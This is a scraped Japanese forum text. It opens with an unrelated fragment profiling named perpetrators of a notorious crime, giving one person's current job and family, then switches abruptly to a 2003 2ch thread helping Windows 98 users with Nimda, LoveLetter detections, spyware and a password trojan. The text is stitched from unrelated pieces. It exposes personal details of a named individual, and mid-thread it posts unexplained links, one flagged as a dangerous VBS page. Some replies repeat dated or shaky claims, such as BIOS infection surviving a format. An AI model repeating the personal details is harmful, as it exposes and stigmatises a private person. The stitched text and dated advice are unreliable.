　 宮野、小倉、湊からささいなことでリンチにあう。
現在は地元スナックでこの事件のことを面白おかしく語る無反省人間。
●伊原　真一（？）(F)
　 結婚し娘をもうける。出所後、新聞配達員を経て現在は東京近郊の建築会社社員。

★参考サイト★
http://profiler.hoops.ne.jp/concrete.htm
http://www.geocities.co.jp/WallStreet-Bull/1617/
http://topia.yam.com/home/aoiryuyu/pages/josikouseikankin.htm
2000年に放送されたニュースステーションの特集に対する反響
非難
http://www.tv-asahi.co.jp/n-station/yv/bk9920/1130hsg_killer_1.html
http://www.tv-asahi.co.jp/n-station/yv/bk9920/1130hsg_killer_2.html
http://www.tv-asahi.co.jp/n-station/yv/bk9920/1130hsg_killer_3.html

症状としては画面が青っぽくて揺れています。
だんだん酷くなってきて字が読めなくなりそうです。

　　 ,.´ / Vヽヽ
　　　 ! i iﾉﾉﾘ）) 〉
　　　 i l l.´ヮ｀ﾉﾘ　＜先生！こんなのがありました！
　　　 l く/_只ヽ 　　　
　　|￣￣￣￣￣|
ttp://saitama.gasuki.com/sinagawa/

>>832
ちなみにBitDefenderは常駐というかサービスが入る。
監視しないくせに、サービス切ったらサーチができない。
ただ、AVGとぶつかる事は無かったと思う。

>>837
(　´,_ゝ｀)ﾌﾟッ　タスクマネージャーを起動してそのプロセスを停止する。
　　　　　　　　　検出したファイルはすべて削除でいいと思う。
　　　　　　　　　詳細はトレンドのデータベースにあるだろうから自分で確認しろ

すいませんが、ヒントを下さい。ＧＭＴ.exeと言うアプリケーションが
怪しい動きを見せましたので、アンインストールしたいのですが、削除と追加の
欄に出てきません、どうすれば削除できますか？なんか調べたら、Gator corporation
とかでてきたんですが・・・

>>840
すいません、
Ｃｔｒｌ＋Ａｌｔ＋Ｄｅｌでタスクマネージャーを作ろうをクリックすると
ＩＥが消えてしまいます。タスクマネージャーの起動の仕方を教えて下さい。
ＯＳはウィンドウズ９８です。お願いします。

>>841
(　´,_ゝ｀)ﾌﾟッ　スパイウエア

トレンドマイクロでオンラインスキャンしたら、ウイルス感染ファイル
３つ出てきて、ひとつは駆除可能でそのまま「削除」して、
あとの２つは駆除不可（両方ともPE_NIMDA_A-O）だったけど
削除押したらそれ自体は削除できないけどファイルごと削除することは
できるみたいでファイルごと削除したけどこれで大丈夫でしょうか？

もう１回オンラインスキャンしたら感染ファイルは出てきませんでした。

感染ファイルがないだけで、ウイルス自体は残ってるんで
しょうか？（これが、「ファイル削除」と「ウイルス駆除」の違い？）

どなたか、ご教授ください。

>>842
(　´,_ゝ｀)ﾌﾟッ　Win98ならそのキー同時押しでいい
　　　　　　　　　スキャンで検出したプログラム名は何かしらんがそれを停止しろ

>>844
駆除ってのはファイルからウイルスのみを削除すること
ファイル削除は感染したファイルを丸ごと削除すること
だから、感染したファイルが削除されてしまえばウイルスも消えてしまう

>>841
タイピングオブザデッド2003でもインストしたの？
Spybotを使いなさい

(　´,_ゝ｀)ﾌﾟッ　おまいらなぁ・・・検索してやったよ。もう寝る。つまらん
　　　　　　　　　>>844 http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionID=3169
　　　　　　　　　>>842 http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_PWSLOGMOD.B

>>846
そうなんですか
じゃあ、ウイルスは残ってないとみてよろしいですね。
ウイルス自体は感染ファイルとは別にどっかに残ってて、それが活動して
なんかのファイルを感染させてそのファイルを削除したと思ったので・・
でもスキャンでウイルス自体検出しますよね

ありがとうございました

>>848
本当にありがとうございました。なんとかやってみます。
ＯＳはウィンドウズ９８ですた。すみませんでした。

>>847
spybotを使ったら、赤い字でバリバリ出てきましたよ。
全部削除しようと思います。ありがとうございました。

Gator,DSO exploit,Cydoor,C2.iop,All-in-one telecom,Alexa Related
などなど。何なんでしょうね、こいつらは？

すいません。タスクマネージャーを起動させたくてＣｔｒｌ＋Alt＋Delを同時
に押しても「プログラムの強制終了」が出てきてしまい、タスクマネージャー
が起動できません。OSはウィンドウズ９８です。タスクマネージャーの起動
のさせ方を教えて下さい。お願いします。

>>848
あ、そのリンク今見ました(^_^;)
「A-O」の場合がそのまま削除で大丈夫で、「A」の場合が「感染」で
いろいろ手順がめんどくさいみたいですね。
全部TemporaryInternetFileだったですけど削除しました。
ありがとうございました

シマンテックでウィルススキャンをかけたらこんなに感染してました。
初心者でして、どうすればいいのか、教えてください。
ＯＳはＷｉｎ９８、ＩＥは６．０ＳＰ１です。
よろしくお願いします。
c:\Program Files\katjusha\log\live5.2ch.net\dome\1048742335.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\dome\1048726061.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\dome\1049093562.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\dome\1049097349.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\dome\1049103266.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\dome\1049166699.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\dome\1049168353.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\dome\1049168373.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\dome\1049279151.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\liventv\1049550030.dat は 次のウィルスに感染しています： VBS.LoveLetter.A
c:\Program Files\katjusha\log\live5.2ch.net\livecx\1049034218.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\etc.2ch.net\qa\1049685927.dat は 次のウィルスに感染しています： VBS.LoveLetter.A

>>855
(　´,_ゝ｀)ﾌﾟッ　それは大丈夫だよ。上のは処理したか？リンク先よく嫁
　　　　　　　　　漏れもう仕事いくけどｶﾞﾝｶﾞﾚよ

>>856
>>848ありがとうございました。
どうしても、タスクマネージャーが出ないんですよね？
Ctrl＋Ａｌｔ＋Del同時に押しても「プログラムの強制終了」になってしまう。
なんでだろう？

>>857
それでいいんだよ。
「プログラムの強制終了」で常駐しているであろう該当したファイルを停止するんだ。
リストに並んでいる中で、普段存在しないはずの物は無いか？

タスクマネージャ――常駐の管理、「プログラムの強制終了」が該当――で
件のファイルの常駐を切るのは、（おそらくは再起動時に）勝手に復元させないためだよ。
この作業で、まず動きを封じてしまうわけだ。

それから>>848の下側のURLに書いてある手順3に移る。

http://www.agemasukudasai.com/movie/

絶対覗くな危険　VBS,Internal

//www.japan-net.ne.jp/~terada/sukebe/adult.htm

http://yahooo.s2.x-beat.com/linkvp/linkvp.html

皆様、お騒がせしてどうもすみません。

>>858
今の「プログラムの強制終了」は
Explorer
Rundll32
Rundll32
Imejpmgr
となっています。普段、見てないので何が怪しいのかわからないんです。

とりあえず、ノートン・インターネットセキュリティー２００３体験版
をインストールしてスキャンしたら、大体駆除できたようで、さっき、
トレンドマイクロのオンラインスキャンをかけたら>>835のウィルスは
検出されませんでした。でもノートンのオンラインスキャンをかけると

c:\Program Files\katjusha\log\live5.2ch.net\dome\1048726061.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\dome\1049097349.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\dome\1049168353.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\dome\1049168373.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\dome\1049279151.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\live5.2ch.net\livecx\1049034218.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
c:\Program Files\katjusha\log\etc.2ch.net\qa\1049685927.dat は 次のウィルスに感染しています： VBS.LoveLetter.A
と出ちゃうんですよね。インターネットセキュリティー体験版では全部駆除
出来てるはずなんですけど。
あと、今も、画面が青っぽくて、揺れています。まだウィルス残ってるんですかね？

>>863
＞c:\Program Files\katjusha\log\live5.2ch.net\dome\1048726061.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
＞c:\Program Files\katjusha\log\live5.2ch.net\dome\1049097349.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
＞c:\Program Files\katjusha\log\live5.2ch.net\dome\1049168353.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
＞c:\Program Files\katjusha\log\live5.2ch.net\dome\1049168373.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
＞c:\Program Files\katjusha\log\live5.2ch.net\dome\1049279151.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
＞c:\Program Files\katjusha\log\live5.2ch.net\livecx\1049034218.dat は 次のウィルスに感染しています： VBS.LoveLetter.Var
＞c:\Program Files\katjusha\log\etc.2ch.net\qa\1049685927.dat は 次のウィルスに感染しています： VBS.LoveLetter.A

まずこれらは安心していい。
そのログ内の紛らわしい書き込みに反応しているだけで、
ログがウィルスに感染しているのではない。
>>1で紹介されているのでURLを辿って把握すべし。

訂正、このスレッドの1ではない。↓

【ノートン】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.21【2003】
http://pc.2ch.net/test/read.cgi/sec/1048433756/1

>>863
で、その画面が青みがかり文字がブレるという症状だが、
TROJ_PWSLOGMOD.Bとは無関係だと、まず断言できる。
何故なら>>848の下のURLを参照すれば分かると思うが、
このトロイはパスワードを盗むだけで、
PCのシステムを破壊する性格の物ではないからだ。

Win98（SE？）あるいはハードウェアの設定、ないしはBIOSレベルの問題と思われる。

どうもありがとうございます。
>>864-865
とりあえず、安心しました。ノートンスレ見てみます。
>>866
なるほど、ではウィルスのせいでは無いんでしょうか。
一応ＳＯＮＹカスタマーに電話して設定を少しいじってみたんですが
ダメだったので、やはり、なんらかのウィルスのせいではないか？と。
ノートンで駆除しきれなかったら、初期化するしかないんじゃないか？
とカスタマーの人は言ってました。

TROJ_PWSLOGMOD.Bによらないだけで、他のウィルスの可能性は否定しない。
検出できない以上、OSのクリーンインストールがお薦め。
それで解決できないならハードウェアの問題であろう。

どうやらSONYらしいからな…CRTか液晶か知らんが、ソニータイマーの悪寒。
もはやハードウェア板の領域だが、磁場や、赤色の発光不良の調整は行っているだろうか。

>>867　えっていうかもうトロージャンは削除できて無問題なんだよね？
それで今はLoveLetter.Aが問題の可能性があるんだよね？
SONYのカスタマーに言われてどこら辺の設定を変えたの？
BIOSに問題があるかもしれないよ。今までアンチウィルス等は
入れてなかったんだよね？それでそれ以前にウィルスに感染して
BIOSにダメージを与えられたのかもしれないし。そのほかにも
なんらかの常駐ソフト同士が干渉して不安定になってるのかもしれない。
漏れの場合は重要なデータは入ってないからまあソフト集めたり
いろいろしてるけどさ。別にフォーマットして困るものないから
すぐにOSアンインスコするけどな。ちなみにBIOSとかハードウェアに
感染してたりするとフォーマットしても感染したりするからね

>>868
レスありがとうございます。
トレンドマイクロのウィルススキャンは検出無しですし、
ノートンのスキャン結果は問題ないようですし、
ノートン・インターネットセキュリティー体験版で駆除してあるし、
ウィルスのせいでは無いようですね。

ちなみに、ＶＡＩＯのＰＣＧｰＸＲ７ってやつです。明日、カスタマーに電話して
ソニータイマー、磁場や発行不良の件、問い合わせてみます。

>>870
他はともかく「ソニータイマ」についてだけは問い合わせるな（ｗ

どうにも壊れやすいSONY製品の事を
「新品買い直させる為に意図的にやってんるんじゃいのか」
と揶揄して用いる言葉だから。

>>869
ありがとうございます。カスタマーに言われるがままだったので、
よく解らないんですが、セーフモードでいろいろやりました。
ＢＩＯＳのことも明日、聞いてみます。
たぶん、液晶モニターだと思うんですが、手でつかんだ時に、液晶にひびが入った？
せいでモニターが故障しているような気もしてきました。
その辺も明日、聞いてみたいと思います。

>>871
なるほど、ソニー製品は壊れやすいんですか。
デスクトップの左上のほうから青みがかってきて、それが全体に広がって
青くなっていった感じなので左上を手でつかんだ時に、液晶を傷つけてしまったのかな？
という気もしてきました。そんなに強くつかんだ覚えはないんですけど。

てゆっかVAIOは熱暴走しやすいボードにわざわざAMDのCPU載せる
なんて設計を平気でするからな・・・
と、これ以上は板違い

age

age

age